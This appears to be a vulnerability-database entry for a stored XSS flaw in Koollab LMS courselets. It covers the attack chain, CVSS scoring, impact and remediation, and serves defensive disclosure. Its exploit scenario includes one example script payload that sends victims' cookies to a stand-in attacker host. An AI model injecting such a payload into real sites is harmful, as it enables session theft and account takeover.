Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
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ReconObtain Koollab LMS user credentials
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DeliveryAuthenticate to LMS
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ExploitCreate or edit courselet
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InstallInject XSS payload in courselet field
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C2Victim views courselet
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ExecuteMalicious script executes in victim's browser
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ImpactAttacker steals session token or performs unauthorized action
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Attacker must be an authenticated user of Koollab LMS with access to create or edit courselets - the feature itself is the exploitable component. The vulnerability is triggered when other authenticated users (specifically those with courselet access permissions) view the malicious courselet. No special server configuration, non-default features, or technical prerequisites beyond normal courselet functionality are required. Exploitation is not possible by anonymous or unauthenticated users. The stored nature means the payload persists until the courselet or specific field is modified by an administrator. |
| Impact | Risk is moderate but context-dependent. CVSS 5.4 with network vector (AV:N) and low complexity (AC:L) indicates easy exploitation, but several factors reduce real-world urgency: (1) Authentication required (PR:L) - attacker must be a legitimate user with courselet access, limiting threat actors to insider threats, compromised accounts, or social engineering; (2) User interaction required (UI:R) - victim must view the malicious courselet, making targeted attacks against specific users necessary; (3) Scope is changed (S:C), meaning impact extends beyond the vulnerable component to other users' sessions; (4) Impact is limited to confidentiality and integrity (C:L/I:L), not availability. The CVSS vector indicates this is a privilege escalation/lateral movement vector rather than a direct system compromise. EPSS score, KEV status, and POC availability are not provided in input data, limiting assessment of exploitation likelihood. For education sectors using Koollab LMS, this warrants patching but is not a critical incident-response priority absent active exploitation signals. |
| Exploit ScenarioDerived | An authenticated user with courselet creation privileges injects a malicious JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) into a courselet title or description field. When other authenticated users enroll in or view that courselet, the payload executes in their browsers, stealing session cookies or performing unauthorized actions (e.g., changing passwords, enrolling in courses, or downloading sensitive materials) on their behalf. |
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Alert meAnalysisAIv1 – Apr 23, 2026
Stored cross-site scripting (XSS) in Koollab LMS courselet feature allows authenticated users to inject arbitrary JavaScript that executes in the browsers of other users with courselet access, potentially compromising account security and enabling credential theft or malicious actions on behalf of affected users. CVSS 5.4 reflects network delivery, low complexity, and limited confidentiality/integrity impact constrained by required user interaction and authenticated access.
RemediationAI
Contact Three Learning for a patched version of Koollab LMS above 5.3.2 or monitor the CSA alert (https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2026-042/) for vendor patch release timelines. If a patched version is not immediately available, implement input validation and output encoding on courselet content fields: disable HTML input in courselet descriptions and titles, or employ a strict Content Security Policy (CSP) header with script-src 'self' and nonce-based inline script whitelisting to mitigate stored XSS impact. Additionally, restrict courselet creation/editing permissions to trusted administrator roles and audit courselet modification logs for suspicious payloads. User awareness training on not clicking untrusted courselet links and using browser security extensions (e.g., XSS filters) provides defense-in-depth, though these do not eliminate the underlying vulnerability.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the courselet feature of Koollab Learning Management System, a web-based educational platform by Three Learning. The XSS is stored (persistent), meaning malicious JavaScript payloads are saved in the application's database and executed whenever authenticated users view the affected courselet content. This is a CWE-79 (Improper Neutralization of Input During Web Page Generation) variant where user-supplied input in courselets is not properly sanitized or encoded before being reflected in HTML responses. The CPE cpe:2.3:a:three_learning:koollab_learning_management_system:*:*:*:*:*:*:*:* indicates the vulnerability affects the core LMS product across versions.
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Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Primary rating from Vendor (CSA) · only source for this CVE.
CVSS VectorVendor: CSA
DescriptionCVE.org
Successful exploitation of the stored cross-site scripting (XSS) vulnerability could allow an attacker to execute arbitrary JavaScript on any user account that has access to Koollab LMS’ courselet feature.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-25170
GHSA-p88x-88cf-mv94
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB